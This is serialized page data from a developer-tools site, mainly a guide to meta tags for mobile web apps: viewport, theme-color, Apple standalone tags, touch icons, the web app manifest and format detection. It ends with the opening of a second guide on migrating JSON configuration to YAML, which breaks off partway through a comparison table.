Matter",[16,152885,152886],{},"Desktop browsers give you a consistent canvas. Mobile browsers do not. Device dimensions vary wildly. The status bar consumes screen space. Users can add your site to their home screen. Without the right meta tags, your web app looks broken or feels foreign on mobile — letterboxed, wrongly scaled, or missing the immersive feel of a native app.",[16,152888,152889],{},"Mobile meta tags bridge that gap. They control viewport behavior, status bar color, home screen icons, and standalone mode.",[11,152891,152893],{"id":152892},"the-viewport-meta-tag","The Viewport Meta Tag",[16,152895,152896],{},"This is the single most important tag for mobile web. Without it, mobile browsers render your page at desktop width and scale it down — rendering your responsive layout useless.",[135,152898,152900],{"className":6417,"code":152899,"language":6419,"meta":141,"style":141},"\u003Cmeta name=\"viewport\" content=\"width=device-width, initial-scale=1\">\n",[143,152901,152902],{"__ignoreMap":141},[1560,152903,152904,152906,152908,152910,152912,152914,152916,152918,152920],{"class":1562,"line":1563},[1560,152905,6431],{"class":1570},[1560,152907,108827],{"class":2484},[1560,152909,108846],{"class":1566},[1560,152911,7297],{"class":1570},[1560,152913,108851],{"class":5634},[1560,152915,108854],{"class":1566},[1560,152917,7297],{"class":1570},[1560,152919,125196],{"class":5634},[1560,152921,6441],{"class":1570},[193,152923,152924,152934],{},[196,152925,152926],{},[199,152927,152928,152930,152932],{},[202,152929,14482],{},[202,152931,1769],{},[202,152933,2758],{},[211,152935,152936,152949,152962,152975],{},[199,152937,152938,152943,152946],{},[216,152939,152940],{},[143,152941,152942],{},"width=device-width",[216,152944,152945],{},"Matches screen width",[216,152947,152948],{},"Prevents desktop-width rendering",[199,152950,152951,152956,152959],{},[216,152952,152953],{},[143,152954,152955],{},"initial-scale=1",[216,152957,152958],{},"No zoom on load",[216,152960,152961],{},"Starts at 1:1 pixel ratio",[199,152963,152964,152969,152972],{},[216,152965,152966],{},[143,152967,152968],{},"maximum-scale=5",[216,152970,152971],{},"Allows zoom up to 5×",[216,152973,152974],{},"Accessibility-friendly — never set to 1",[199,152976,152977,152982,152985],{},[216,152978,152979],{},[143,152980,152981],{},"user-scalable=no",[216,152983,152984],{},"Disables pinch zoom",[216,152986,152987,152990],{},[47,152988,152989],{},"Avoid"," — violates WCAG accessibility",[16,152992,152993,152996,152997,1531,153000,153002],{},[47,152994,152995],{},"Never disable user scaling."," Users with visual impairments rely on pinch-to-zoom. Setting ",[143,152998,152999],{},"maximum-scale=1",[143,153001,152981],{}," breaks accessibility and can hurt your search ranking.",[11,153004,153006],{"id":153005},"theme-color","Theme Color",[16,153008,421,153009,153011],{},[143,153010,153005],{}," meta tag sets the browser chrome color — the address bar on Chrome for Android, the status bar on Samsung Internet, and the title bar on desktop Edge.",[135,153013,153015],{"className":6417,"code":153014,"language":6419,"meta":141,"style":141},"\u003Cmeta name=\"theme-color\" content=\"#2563EB\">\n",[143,153016,153017],{"__ignoreMap":141},[1560,153018,153019,153021,153023,153025,153027,153030,153032,153034,153037],{"class":1562,"line":1563},[1560,153020,6431],{"class":1570},[1560,153022,108827],{"class":2484},[1560,153024,108846],{"class":1566},[1560,153026,7297],{"class":1570},[1560,153028,153029],{"class":5634},"\"theme-color\"",[1560,153031,108854],{"class":1566},[1560,153033,7297],{"class":1570},[1560,153035,153036],{"class":5634},"\"#2563EB\"",[1560,153038,6441],{"class":1570},[16,153040,153041],{},"Tips:",[41,153043,153044,153047,153050],{},[44,153045,153046],{},"Match your brand's primary color",[44,153048,153049],{},"You can change it dynamically with JavaScript based on the current page theme",[44,153051,8009,153052,153054],{},[143,153053,53993],{}," attribute for dark mode:",[135,153056,153058],{"className":6417,"code":153057,"language":6419,"meta":141,"style":141},"\u003Cmeta name=\"theme-color\" content=\"#2563EB\" media=\"(prefers-color-scheme: light)\">\n\u003Cmeta name=\"theme-color\" content=\"#1E40AF\" media=\"(prefers-color-scheme: dark)\">\n",[143,153059,153060,153088],{"__ignoreMap":141},[1560,153061,153062,153064,153066,153068,153070,153072,153074,153076,153078,153081,153083,153086],{"class":1562,"line":1563},[1560,153063,6431],{"class":1570},[1560,153065,108827],{"class":2484},[1560,153067,108846],{"class":1566},[1560,153069,7297],{"class":1570},[1560,153071,153029],{"class":5634},[1560,153073,108854],{"class":1566},[1560,153075,7297],{"class":1570},[1560,153077,153036],{"class":5634},[1560,153079,153080],{"class":1566}," media",[1560,153082,7297],{"class":1570},[1560,153084,153085],{"class":5634},"\"(prefers-color-scheme: light)\"",[1560,153087,6441],{"class":1570},[1560,153089,153090,153092,153094,153096,153098,153100,153102,153104,153107,153109,153111,153114],{"class":1562,"line":337},[1560,153091,6431],{"class":1570},[1560,153093,108827],{"class":2484},[1560,153095,108846],{"class":1566},[1560,153097,7297],{"class":1570},[1560,153099,153029],{"class":5634},[1560,153101,108854],{"class":1566},[1560,153103,7297],{"class":1570},[1560,153105,153106],{"class":5634},"\"#1E40AF\"",[1560,153108,153080],{"class":1566},[1560,153110,7297],{"class":1570},[1560,153112,153113],{"class":5634},"\"(prefers-color-scheme: dark)\"",[1560,153115,6441],{"class":1570},[11,153117,153119],{"id":153118},"apple-specific-meta-tags","Apple-Specific Meta Tags",[16,153121,153122],{},"iOS treats home-screen bookmarks differently from Android. Safari requires its own set of meta tags for standalone mode appearance.",[33,153124,153125],{"id":153125},"apple-mobile-web-app-capable",[16,153127,153128],{},"Makes the app run in standalone mode — no Safari UI when launched from the home screen:",[135,153130,153132],{"className":6417,"code":153131,"language":6419,"meta":141,"style":141},"\u003Cmeta name=\"apple-mobile-web-app-capable\" content=\"yes\">\n",[143,153133,153134],{"__ignoreMap":141},[1560,153135,153136,153138,153140,153142,153144,153147,153149,153151,153154],{"class":1562,"line":1563},[1560,153137,6431],{"class":1570},[1560,153139,108827],{"class":2484},[1560,153141,108846],{"class":1566},[1560,153143,7297],{"class":1570},[1560,153145,153146],{"class":5634},"\"apple-mobile-web-app-capable\"",[1560,153148,108854],{"class":1566},[1560,153150,7297],{"class":1570},[1560,153152,153153],{"class":5634},"\"yes\"",[1560,153155,6441],{"class":1570},[33,153157,153158],{"id":153158},"apple-mobile-web-app-status-bar-style",[16,153160,153161],{},"Controls the status bar appearance in standalone mode:",[193,153163,153164,153172],{},[196,153165,153166],{},[199,153167,153168,153170],{},[202,153169,1769],{},[202,153171,29641],{},[211,153173,153174,153184,153194],{},[199,153175,153176,153181],{},[216,153177,153178],{},[143,153179,153180],{},"default",[216,153182,153183],{},"White status bar, normal appearance",[199,153185,153186,153191],{},[216,153187,153188],{},[143,153189,153190],{},"black",[216,153192,153193],{},"Black status bar",[199,153195,153196,153201],{},[216,153197,153198],{},[143,153199,153200],{},"black-translucent",[216,153202,153203],{},"Transparent — content extends behind the bar",[135,153205,153207],{"className":6417,"code":153206,"language":6419,"meta":141,"style":141},"\u003Cmeta name=\"apple-mobile-web-app-status-bar-style\" content=\"black-translucent\">\n",[143,153208,153209],{"__ignoreMap":141},[1560,153210,153211,153213,153215,153217,153219,153222,153224,153226,153229],{"class":1562,"line":1563},[1560,153212,6431],{"class":1570},[1560,153214,108827],{"class":2484},[1560,153216,108846],{"class":1566},[1560,153218,7297],{"class":1570},[1560,153220,153221],{"class":5634},"\"apple-mobile-web-app-status-bar-style\"",[1560,153223,108854],{"class":1566},[1560,153225,7297],{"class":1570},[1560,153227,153228],{"class":5634},"\"black-translucent\"",[1560,153230,6441],{"class":1570},[16,153232,153233,153234,153236],{},"When using ",[143,153235,153200],{},", add top padding to your content — otherwise it hides behind the status bar.",[33,153238,153239],{"id":153239},"apple-mobile-web-app-title",[16,153241,153242],{},"Sets the short name under the home screen icon (12 characters max recommended):",[135,153244,153246],{"className":6417,"code":153245,"language":6419,"meta":141,"style":141},"\u003Cmeta name=\"apple-mobile-web-app-title\" content=\"ToolBoxes\">\n",[143,153247,153248],{"__ignoreMap":141},[1560,153249,153250,153252,153254,153256,153258,153261,153263,153265,153268],{"class":1562,"line":1563},[1560,153251,6431],{"class":1570},[1560,153253,108827],{"class":2484},[1560,153255,108846],{"class":1566},[1560,153257,7297],{"class":1570},[1560,153259,153260],{"class":5634},"\"apple-mobile-web-app-title\"",[1560,153262,108854],{"class":1566},[1560,153264,7297],{"class":1570},[1560,153266,153267],{"class":5634},"\"ToolBoxes\"",[1560,153269,6441],{"class":1570},[33,153271,153272],{"id":153272},"apple-touch-icon",[16,153274,153275],{},"Specifies the home screen icon. Provide multiple sizes for different devices:",[135,153277,153279],{"className":6417,"code":153278,"language":6419,"meta":141,"style":141},"\u003Clink rel=\"apple-touch-icon\" href=\"\u002Ficons\u002Ficon-180.png\">\n\u003Clink rel=\"apple-touch-icon\" sizes=\"152x152\" href=\"\u002Ficons\u002Ficon-152.png\">\n\u003Clink rel=\"apple-touch-icon\" sizes=\"180x180\" href=\"\u002Ficons\u002Ficon-180.png\">\n",[143,153280,153281,153303,153332],{"__ignoreMap":141},[1560,153282,153283,153285,153287,153289,153291,153294,153296,153298,153301],{"class":1562,"line":1563},[1560,153284,6431],{"class":1570},[1560,153286,40993],{"class":2484},[1560,153288,40996],{"class":1566},[1560,153290,7297],{"class":1570},[1560,153292,153293],{"class":5634},"\"apple-touch-icon\"",[1560,153295,41004],{"class":1566},[1560,153297,7297],{"class":1570},[1560,153299,153300],{"class":5634},"\"\u002Ficons\u002Ficon-180.png\"",[1560,153302,6441],{"class":1570},[1560,153304,153305,153307,153309,153311,153313,153315,153318,153320,153323,153325,153327,153330],{"class":1562,"line":337},[1560,153306,6431],{"class":1570},[1560,153308,40993],{"class":2484},[1560,153310,40996],{"class":1566},[1560,153312,7297],{"class":1570},[1560,153314,153293],{"class":5634},[1560,153316,153317],{"class":1566}," sizes",[1560,153319,7297],{"class":1570},[1560,153321,153322],{"class":5634},"\"152x152\"",[1560,153324,41004],{"class":1566},[1560,153326,7297],{"class":1570},[1560,153328,153329],{"class":5634},"\"\u002Ficons\u002Ficon-152.png\"",[1560,153331,6441],{"class":1570},[1560,153333,153334,153336,153338,153340,153342,153344,153346,153348,153351,153353,153355,153357],{"class":1562,"line":343},[1560,153335,6431],{"class":1570},[1560,153337,40993],{"class":2484},[1560,153339,40996],{"class":1566},[1560,153341,7297],{"class":1570},[1560,153343,153293],{"class":5634},[1560,153345,153317],{"class":1566},[1560,153347,7297],{"class":1570},[1560,153349,153350],{"class":5634},"\"180x180\"",[1560,153352,41004],{"class":1566},[1560,153354,7297],{"class":1570},[1560,153356,153300],{"class":5634},[1560,153358,6441],{"class":1570},[16,153360,153361],{},"iOS automatically adds rounded corners and the superellipse mask — supply a plain square PNG.",[11,153363,153365],{"id":153364},"web-app-manifest","Web App Manifest",[16,153367,153368,153369,153372],{},"While not a meta tag, the ",[143,153370,153371],{},"manifest.json"," file is the modern standard for PWA configuration. It replaces many older meta tags on Android and Chrome:",[135,153374,153376],{"className":23484,"code":153375,"language":23486,"meta":141,"style":141},"{\n  \"name\": \"ToolBoxes — Free Online Developer Tools\",\n  \"short_name\": \"ToolBoxes\",\n  \"start_url\": \"\u002F\",\n  \"display\": \"standalone\",\n  \"background_color\": \"#FFFFFF\",\n  \"theme_color\": \"#2563EB\",\n  \"icons\": [\n    { \"src\": \"\u002Ficons\u002Ficon-192.png\", \"sizes\": \"192x192\", \"type\": \"image\u002Fpng\" },\n    { \"src\": \"\u002Ficons\u002Ficon-512.png\", \"sizes\": \"512x512\", \"type\": \"image\u002Fpng\" }\n  ]\n}\n",[143,153377,153378,153382,153393,153404,153416,153428,153440,153451,153458,153492,153522,153526],{"__ignoreMap":141},[1560,153379,153380],{"class":1562,"line":1563},[1560,153381,23493],{"class":1570},[1560,153383,153384,153386,153388,153391],{"class":1562,"line":337},[1560,153385,80877],{"class":1576},[1560,153387,1663],{"class":1570},[1560,153389,153390],{"class":5634},"\"ToolBoxes — Free Online Developer Tools\"",[1560,153392,11943],{"class":1570},[1560,153394,153395,153398,153400,153402],{"class":1562,"line":343},[1560,153396,153397],{"class":1576},"  \"short_name\"",[1560,153399,1663],{"class":1570},[1560,153401,153267],{"class":5634},[1560,153403,11943],{"class":1570},[1560,153405,153406,153409,153411,153414],{"class":1562,"line":365},[1560,153407,153408],{"class":1576},"  \"start_url\"",[1560,153410,1663],{"class":1570},[1560,153412,153413],{"class":5634},"\"\u002F\"",[1560,153415,11943],{"class":1570},[1560,153417,153418,153421,153423,153426],{"class":1562,"line":889},[1560,153419,153420],{"class":1576},"  \"display\"",[1560,153422,1663],{"class":1570},[1560,153424,153425],{"class":5634},"\"standalone\"",[1560,153427,11943],{"class":1570},[1560,153429,153430,153433,153435,153438],{"class":1562,"line":1710},[1560,153431,153432],{"class":1576},"  \"background_color\"",[1560,153434,1663],{"class":1570},[1560,153436,153437],{"class":5634},"\"#FFFFFF\"",[1560,153439,11943],{"class":1570},[1560,153441,153442,153445,153447,153449],{"class":1562,"line":1717},[1560,153443,153444],{"class":1576},"  \"theme_color\"",[1560,153446,1663],{"class":1570},[1560,153448,153036],{"class":5634},[1560,153450,11943],{"class":1570},[1560,153452,153453,153456],{"class":1562,"line":1747},[1560,153454,153455],{"class":1576},"  \"icons\"",[1560,153457,82876],{"class":1570},[1560,153459,153460,153462,153465,153467,153470,153472,153475,153477,153480,153482,153485,153487,153490],{"class":1562,"line":2507},[1560,153461,44815],{"class":1570},[1560,153463,153464],{"class":1576},"\"src\"",[1560,153466,1663],{"class":1570},[1560,153468,153469],{"class":5634},"\"\u002Ficons\u002Ficon-192.png\"",[1560,153471,1459],{"class":1570},[1560,153473,153474],{"class":1576},"\"sizes\"",[1560,153476,1663],{"class":1570},[1560,153478,153479],{"class":5634},"\"192x192\"",[1560,153481,1459],{"class":1570},[1560,153483,153484],{"class":1576},"\"type\"",[1560,153486,1663],{"class":1570},[1560,153488,153489],{"class":5634},"\"image\u002Fpng\"",[1560,153491,21223],{"class":1570},[1560,153493,153494,153496,153498,153500,153503,153505,153507,153509,153512,153514,153516,153518,153520],{"class":1562,"line":2524},[1560,153495,44815],{"class":1570},[1560,153497,153464],{"class":1576},[1560,153499,1663],{"class":1570},[1560,153501,153502],{"class":5634},"\"\u002Ficons\u002Ficon-512.png\"",[1560,153504,1459],{"class":1570},[1560,153506,153474],{"class":1576},[1560,153508,1663],{"class":1570},[1560,153510,153511],{"class":5634},"\"512x512\"",[1560,153513,1459],{"class":1570},[1560,153515,153484],{"class":1576},[1560,153517,1663],{"class":1570},[1560,153519,153489],{"class":5634},[1560,153521,27879],{"class":1570},[1560,153523,153524],{"class":1562,"line":2529},[1560,153525,49526],{"class":1570},[1560,153527,153528],{"class":1562,"line":2534},[1560,153529,1585],{"class":1570},[16,153531,153532],{},"Link it from your HTML:",[135,153534,153536],{"className":6417,"code":153535,"language":6419,"meta":141,"style":141},"\u003Clink rel=\"manifest\" href=\"\u002Fmanifest.json\">\n",[143,153537,153538],{"__ignoreMap":141},[1560,153539,153540,153542,153544,153546,153548,153551,153553,153555,153558],{"class":1562,"line":1563},[1560,153541,6431],{"class":1570},[1560,153543,40993],{"class":2484},[1560,153545,40996],{"class":1566},[1560,153547,7297],{"class":1570},[1560,153549,153550],{"class":5634},"\"manifest\"",[1560,153552,41004],{"class":1566},[1560,153554,7297],{"class":1570},[1560,153556,153557],{"class":5634},"\"\u002Fmanifest.json\"",[1560,153559,6441],{"class":1570},[33,153561,153563],{"id":153562},"display-modes","Display modes",[193,153565,153566,153574],{},[196,153567,153568],{},[199,153569,153570,153572],{},[202,153571,25398],{},[202,153573,17960],{},[211,153575,153576,153586,153596,153606],{},[199,153577,153578,153583],{},[216,153579,153580],{},[143,153581,153582],{},"browser",[216,153584,153585],{},"Normal browser chrome (default)",[199,153587,153588,153593],{},[216,153589,153590],{},[143,153591,153592],{},"standalone",[216,153594,153595],{},"App-like — no address bar, keeps status bar",[199,153597,153598,153603],{},[216,153599,153600],{},[143,153601,153602],{},"minimal-ui",[216,153604,153605],{},"Some navigation controls",[199,153607,153608,153613],{},[216,153609,153610],{},[143,153611,153612],{},"fullscreen",[216,153614,153615],{},"No browser UI at all — games and kiosks",[11,153617,153619],{"id":153618},"format-detection-meta-tags","Format Detection Meta Tags",[16,153621,153622],{},"Mobile browsers auto-detect phone numbers, addresses, and dates, turning them into links. This can break your layout or link to wrong actions.",[135,153624,153626],{"className":6417,"code":153625,"language":6419,"meta":141,"style":141},"\u003C!-- Disable all auto-detection -->\n\u003Cmeta name=\"format-detection\" content=\"telephone=no\">\n\n\u003C!-- Selective control -->\n\u003Cmeta name=\"format-detection\" content=\"telephone=no, email=no, address=no\">\n",[143,153627,153628,153633,153655,153659,153664],{"__ignoreMap":141},[1560,153629,153630],{"class":1562,"line":1563},[1560,153631,153632],{"class":1649},"\u003C!-- Disable all auto-detection -->\n",[1560,153634,153635,153637,153639,153641,153643,153646,153648,153650,153653],{"class":1562,"line":337},[1560,153636,6431],{"class":1570},[1560,153638,108827],{"class":2484},[1560,153640,108846],{"class":1566},[1560,153642,7297],{"class":1570},[1560,153644,153645],{"class":5634},"\"format-detection\"",[1560,153647,108854],{"class":1566},[1560,153649,7297],{"class":1570},[1560,153651,153652],{"class":5634},"\"telephone=no\"",[1560,153654,6441],{"class":1570},[1560,153656,153657],{"class":1562,"line":343},[1560,153658,1702],{"emptyLinePlaceholder":363},[1560,153660,153661],{"class":1562,"line":365},[1560,153662,153663],{"class":1649},"\u003C!-- Selective control -->\n",[1560,153665,153666,153668,153670,153672,153674,153676,153678,153680,153683],{"class":1562,"line":889},[1560,153667,6431],{"class":1570},[1560,153669,108827],{"class":2484},[1560,153671,108846],{"class":1566},[1560,153673,7297],{"class":1570},[1560,153675,153645],{"class":5634},[1560,153677,108854],{"class":1566},[1560,153679,7297],{"class":1570},[1560,153681,153682],{"class":5634},"\"telephone=no, email=no, address=no\"",[1560,153684,6441],{"class":1570},[16,153686,153687],{},"Only use these if auto-detection causes problems. Otherwise, leave detection enabled — users expect clickable phone numbers.",[11,153689,153691],{"id":153690},"complete-mobile-head-template","Complete Mobile Head Template",[135,153693,153695],{"className":6417,"code":153694,"language":6419,"meta":141,"style":141},"\u003Chead>\n  \u003C!-- Viewport -->\n  \u003Cmeta name=\"viewport\" content=\"width=device-width, initial-scale=1\">\n\n  \u003C!-- Theme color -->\n  \u003Cmeta name=\"theme-color\" content=\"#2563EB\" media=\"(prefers-color-scheme: light)\">\n  \u003Cmeta name=\"theme-color\" content=\"#1E40AF\" media=\"(prefers-color-scheme: dark)\">\n\n  \u003C!-- iOS standalone mode -->\n  \u003Cmeta name=\"apple-mobile-web-app-capable\" content=\"yes\">\n  \u003Cmeta name=\"apple-mobile-web-app-status-bar-style\" content=\"black-translucent\">\n  \u003Cmeta name=\"apple-mobile-web-app-title\" content=\"ToolBoxes\">\n\n  \u003C!-- Icons -->\n  \u003Clink rel=\"apple-touch-icon\" href=\"\u002Ficons\u002Ficon-180.png\">\n  \u003Clink rel=\"manifest\" href=\"\u002Fmanifest.json\">\n\n  \u003C!-- Format detection -->\n  \u003Cmeta name=\"format-detection\" content=\"telephone=no\">\n\u003C\u002Fhead>\n",[143,153696,153697,153705,153710,153730,153734,153739,153765,153791,153795,153800,153820,153840,153860,153864,153869,153889,153909,153913,153918,153938],{"__ignoreMap":141},[1560,153698,153699,153701,153703],{"class":1562,"line":1563},[1560,153700,6431],{"class":1570},[1560,153702,40984],{"class":2484},[1560,153704,6441],{"class":1570},[1560,153706,153707],{"class":1562,"line":337},[1560,153708,153709],{"class":1649},"  \u003C!-- Viewport -->\n",[1560,153711,153712,153714,153716,153718,153720,153722,153724,153726,153728],{"class":1562,"line":343},[1560,153713,11223],{"class":1570},[1560,153715,108827],{"class":2484},[1560,153717,108846],{"class":1566},[1560,153719,7297],{"class":1570},[1560,153721,108851],{"class":5634},[1560,153723,108854],{"class":1566},[1560,153725,7297],{"class":1570},[1560,153727,125196],{"class":5634},[1560,153729,6441],{"class":1570},[1560,153731,153732],{"class":1562,"line":365},[1560,153733,1702],{"emptyLinePlaceholder":363},[1560,153735,153736],{"class":1562,"line":889},[1560,153737,153738],{"class":1649},"  \u003C!-- Theme color -->\n",[1560,153740,153741,153743,153745,153747,153749,153751,153753,153755,153757,153759,153761,153763],{"class":1562,"line":1710},[1560,153742,11223],{"class":1570},[1560,153744,108827],{"class":2484},[1560,153746,108846],{"class":1566},[1560,153748,7297],{"class":1570},[1560,153750,153029],{"class":5634},[1560,153752,108854],{"class":1566},[1560,153754,7297],{"class":1570},[1560,153756,153036],{"class":5634},[1560,153758,153080],{"class":1566},[1560,153760,7297],{"class":1570},[1560,153762,153085],{"class":5634},[1560,153764,6441],{"class":1570},[1560,153766,153767,153769,153771,153773,153775,153777,153779,153781,153783,153785,153787,153789],{"class":1562,"line":1717},[1560,153768,11223],{"class":1570},[1560,153770,108827],{"class":2484},[1560,153772,108846],{"class":1566},[1560,153774,7297],{"class":1570},[1560,153776,153029],{"class":5634},[1560,153778,108854],{"class":1566},[1560,153780,7297],{"class":1570},[1560,153782,153106],{"class":5634},[1560,153784,153080],{"class":1566},[1560,153786,7297],{"class":1570},[1560,153788,153113],{"class":5634},[1560,153790,6441],{"class":1570},[1560,153792,153793],{"class":1562,"line":1747},[1560,153794,1702],{"emptyLinePlaceholder":363},[1560,153796,153797],{"class":1562,"line":2507},[1560,153798,153799],{"class":1649},"  \u003C!-- iOS standalone mode -->\n",[1560,153801,153802,153804,153806,153808,153810,153812,153814,153816,153818],{"class":1562,"line":2524},[1560,153803,11223],{"class":1570},[1560,153805,108827],{"class":2484},[1560,153807,108846],{"class":1566},[1560,153809,7297],{"class":1570},[1560,153811,153146],{"class":5634},[1560,153813,108854],{"class":1566},[1560,153815,7297],{"class":1570},[1560,153817,153153],{"class":5634},[1560,153819,6441],{"class":1570},[1560,153821,153822,153824,153826,153828,153830,153832,153834,153836,153838],{"class":1562,"line":2529},[1560,153823,11223],{"class":1570},[1560,153825,108827],{"class":2484},[1560,153827,108846],{"class":1566},[1560,153829,7297],{"class":1570},[1560,153831,153221],{"class":5634},[1560,153833,108854],{"class":1566},[1560,153835,7297],{"class":1570},[1560,153837,153228],{"class":5634},[1560,153839,6441],{"class":1570},[1560,153841,153842,153844,153846,153848,153850,153852,153854,153856,153858],{"class":1562,"line":2534},[1560,153843,11223],{"class":1570},[1560,153845,108827],{"class":2484},[1560,153847,108846],{"class":1566},[1560,153849,7297],{"class":1570},[1560,153851,153260],{"class":5634},[1560,153853,108854],{"class":1566},[1560,153855,7297],{"class":1570},[1560,153857,153267],{"class":5634},[1560,153859,6441],{"class":1570},[1560,153861,153862],{"class":1562,"line":2542},[1560,153863,1702],{"emptyLinePlaceholder":363},[1560,153865,153866],{"class":1562,"line":2558},[1560,153867,153868],{"class":1649},"  \u003C!-- Icons -->\n",[1560,153870,153871,153873,153875,153877,153879,153881,153883,153885,153887],{"class":1562,"line":2570},[1560,153872,11223],{"class":1570},[1560,153874,40993],{"class":2484},[1560,153876,40996],{"class":1566},[1560,153878,7297],{"class":1570},[1560,153880,153293],{"class":5634},[1560,153882,41004],{"class":1566},[1560,153884,7297],{"class":1570},[1560,153886,153300],{"class":5634},[1560,153888,6441],{"class":1570},[1560,153890,153891,153893,153895,153897,153899,153901,153903,153905,153907],{"class":1562,"line":6638},[1560,153892,11223],{"class":1570},[1560,153894,40993],{"class":2484},[1560,153896,40996],{"class":1566},[1560,153898,7297],{"class":1570},[1560,153900,153550],{"class":5634},[1560,153902,41004],{"class":1566},[1560,153904,7297],{"class":1570},[1560,153906,153557],{"class":5634},[1560,153908,6441],{"class":1570},[1560,153910,153911],{"class":1562,"line":11615},[1560,153912,1702],{"emptyLinePlaceholder":363},[1560,153914,153915],{"class":1562,"line":11621},[1560,153916,153917],{"class":1649},"  \u003C!-- Format detection -->\n",[1560,153919,153920,153922,153924,153926,153928,153930,153932,153934,153936],{"class":1562,"line":11633},[1560,153921,11223],{"class":1570},[1560,153923,108827],{"class":2484},[1560,153925,108846],{"class":1566},[1560,153927,7297],{"class":1570},[1560,153929,153645],{"class":5634},[1560,153931,108854],{"class":1566},[1560,153933,7297],{"class":1570},[1560,153935,153652],{"class":5634},[1560,153937,6441],{"class":1570},[1560,153939,153940,153942,153944],{"class":1562,"line":11638},[1560,153941,11242],{"class":1570},[1560,153943,40984],{"class":2484},[1560,153945,6441],{"class":1570},[11,153947,1355],{"id":1354},[41,153949,153950,153953,153956,153961,153964,153967,153970],{},[44,153951,153952],{},"The viewport meta tag is essential — never omit it from a mobile page",[44,153954,153955],{},"Never disable user scaling — it breaks accessibility",[44,153957,1388,153958,153960],{},[143,153959,153005],{}," to match your brand across browser chrome",[44,153962,153963],{},"Apple requires its own meta tags for standalone mode — the manifest alone is not enough",[44,153965,153966],{},"Provide multiple apple-touch-icon sizes for different iOS devices",[44,153968,153969],{},"The Web App Manifest replaces many meta tags for Android\u002FChrome but works alongside Apple-specific tags",[44,153971,153972],{},"Disable format detection only when it causes layout issues",[11,153974,321],{"id":320},[41,153976,153977,153981,153985],{},[44,153978,153979],{},[98,153980,152262],{"href":152871},[44,153982,153983],{},[98,153984,152847],{"href":152846},[44,153986,153987],{},[98,153988,153990],{"href":153989},"\u002Fguides\u002Ftwitter-card-meta-tags-guide","Twitter Card Meta Tags Complete Guide",[11,153992,286],{"id":285},[16,153994,153995,153996,153998],{},"Generate viewport, theme-color, Apple, and manifest meta tags all at once with our free ",[98,153997,152836],{"href":152835},". Fill in your app details and copy the production-ready HTML snippet.",[2043,154000,154001],{},"html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .s9eBZ, html code.shiki .s9eBZ{--shiki-default:#22863A;--shiki-dark:#85E89D}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}",{"title":141,"searchDepth":337,"depth":337,"links":154003},[154004,154005,154006,154007,154013,154016,154017,154018,154019,154020],{"id":152882,"depth":337,"text":152883},{"id":152892,"depth":337,"text":152893},{"id":153005,"depth":337,"text":153006},{"id":153118,"depth":337,"text":153119,"children":154008},[154009,154010,154011,154012],{"id":153125,"depth":343,"text":153125},{"id":153158,"depth":343,"text":153158},{"id":153239,"depth":343,"text":153239},{"id":153272,"depth":343,"text":153272},{"id":153364,"depth":337,"text":153365,"children":154014},[154015],{"id":153562,"depth":343,"text":153563},{"id":153618,"depth":337,"text":153619},{"id":153690,"depth":337,"text":153691},{"id":1354,"depth":337,"text":1355},{"id":320,"depth":337,"text":321},{"id":285,"depth":337,"text":286},"Essential meta tags for progressive web apps and mobile-optimized sites — viewport, theme-color, apple-mobile-web-app, manifest, and more.",{"immutable":363},"\u002Fguides\u002Fmeta-tags-mobile-web-apps",{"title":152877,"description":154021},"guides\u002Fmeta-tags-mobile-web-apps","AuOd1NDPr4RH2lJ8k8qH7GopuwAQsU1oYrz-NQCLIB8",{"id":154028,"title":154029,"body":154030,"date":2070,"description":154956,"extension":361,"meta":154957,"navigation":363,"path":154958,"readingTime":1717,"seo":154959,"stem":154960,"__hash__":154961},"guides\u002Fguides\u002Fmigrating-json-to-yaml.md","Migrating JSON Config to YAML: A Step-by-Step Guide",{"type":8,"value":154031,"toc":154935},[154032,154036,154039,154042,154068,154072,154166,154170,154174,154177,154188,154191,154195,154201,154211,154266,154272,154276,154279,154360,154363,154436,154440,154443,154496,154500,154503,154605,154654,154660,154664,154687,154691,154695,154698,154772,154784,154788,154818,154827,154831,154834,154838,154841,154874,154877,154879,154907,154909,154923,154925,154932],[11,154033,154035],{"id":154034},"why-migrate-from-json-to-yaml","Why Migrate from JSON to YAML?",[16,154037,154038],{},"JSON works fine for machine-to-machine communication, but configuration files written by humans benefit from YAML's readability. YAML supports comments, multi-line strings, and avoids the trailing-comma problem that plagues JSON editing.",[16,154040,154041],{},"Common motivations for migration:",[41,154043,154044,154050,154056,154062],{},[44,154045,154046,154049],{},[47,154047,154048],{},"Adding comments"," to explain configuration decisions",[44,154051,154052,154055],{},[47,154053,154054],{},"Reducing syntax noise"," — no braces or quotes needed for simple values",[44,154057,154058,154061],{},[47,154059,154060],{},"Using YAML anchors"," to deduplicate repeated configuration blocks",[44,154063,154064,154067],{},[47,154065,154066],{},"Better multi-line string handling"," for embedded scripts and templates",[11,154069,154071],{"id":154070},"json-vs-yaml-structural-differences","JSON vs. YAML: Structural Differences",[193,154073,154074,154084],{},[196,154075,154076],{},[199,154077,154078,154080,154082],{},[202,154079,5867],{},[202,154081,13411],{},[202,154083,36926],{},[211,154085,154086,154097,154107,154117,154130,154145,154155],{},[199,154087,154088,154090,154092],{},[216,154089,36954],{},[216,154091,84686],{},[216,154093,154094],{},[143,154095,154096],{},"# line comments",[199,154098,154099,154102,154104],{},[216,154100,154101],{},"Quotes on 